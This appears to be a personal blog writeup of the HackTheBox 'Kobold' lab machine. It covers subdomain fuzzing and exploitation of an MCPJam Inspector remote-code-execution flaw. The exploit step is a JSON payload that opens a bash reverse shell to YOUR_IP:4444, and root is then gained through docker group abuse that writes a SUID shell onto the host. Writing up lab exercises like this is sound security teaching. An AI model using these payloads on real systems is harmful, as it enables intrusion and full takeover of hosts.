Kobold Writeup (HackTheBox Easy Machine)

Author: Beylessen Jendoubi
IconCreated: 2026-08-01
IconUpdated: 2026-08-01
IconWriteups
Icon
Post Cover

Overview :

Kobold is an easy-rated HackTheBox machine with insight on modern vulnerabilities and especially the importance of group permission auditing.
Had fun pwning this one.

overview

Reconnaissance

As per usual, naabu scan first for faster port enumeration,

overview

And then nmap :

overview

Added kobold.htb to /etc/hosts and we have access to this platform:

overview

But the nmap was very telling: | Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb

Subdomains definitely exist. Let’s fuzz:

title:FFUF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ ffuf -u https://kobold.htb      -H "Host: FUZZ.kobold.htb"      -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt      -mc 200,301,302,403      -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,301,302,403
 :: Filter           : Response size: 154
________________________________________________

mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 51ms]
:: Progress: [4989/4989] :: Job [1/1] :: 576 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

Added mcp.kobold.htb to /etc/hosts and a dashboard for mcp server management appears :

overview

MCP Jam Inspector ?

MCPJam Inspector is a lightweight debugging and exploration tool used with MCPJam environments to inspect how services, APIs, or components behave during testing. It lets you observe requests, responses, and internal interactions in real time, making it easier to understand data flow, identify misconfigurations, and spot vulnerabilities while working on security challenges or development setups.

CVE-2026-23744

MCP Jam Inspector versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.

Attackers can send a crafted HTTP request to the /api/mcp/connect endpoint with a specific JSON payload. By manipulating the command and args fields, they can execute arbitrary commands on the host machine. Essentially, if you can reach the Inspector, you can own the machine.

You can read more about it : CVE-2026-23744

This is the add server utility and it’s where we’ll be putting our payload :
(Don’t forget to start your listener: nc -nlvp 4444 )

overview

title:Payload
1
2
3
4
5
6
7
8
{
  "mcpServers": {
    "pwned": {
      "command": "/bin/bash",
      "args": ["-c", "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"]
    }
  }
}

overview

And we got revshell as user Ben !

overview

overview
And that’s it for the user flag .

Privilege Escalation

I got a little lost here because I checked capabilities :

title:Capabilities
1
2
3
4
5
6
$ /usr/sbin/getcap -r / 2>/dev/null      

/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p

and wanted to force the new snapd CVE to gain root.
Then my other go-to was enumerating internal services and that also was kind of a waste of time.
But it was way simpler than that .
I figured there was another user alice and alice had access to one more group “docker” than ben.
The command ps aux | grep dockerd confirms that docker is running with root privileges.

Now simply adding ben to docker group.
Then : docker run -v /:/hostfs –rm mysql:latest bash -c “cp /hostfs/bin/bash /hostfs/tmp/rootbash && chmod 4755 /hostfs/tmp/rootbash” : This abuses Docker to write a SUID root shell onto the host, giving full root access.

overview
And that’s it for this machine.

Rating

This one was tricky but super simple.
5 Stars.
⭐⭐⭐⭐⭐

IconPlease share with your friends !
Thanks for reading !
This work is published by Beylessen Jendoubi at 2026-08-01 18:43:13
Link: Kobold Writeup (HackTheBox Easy Machine)
This work is licensed under CC BY-NC-SA 4.0. Please indicate Beylessen's Blog when reprinting.
Logo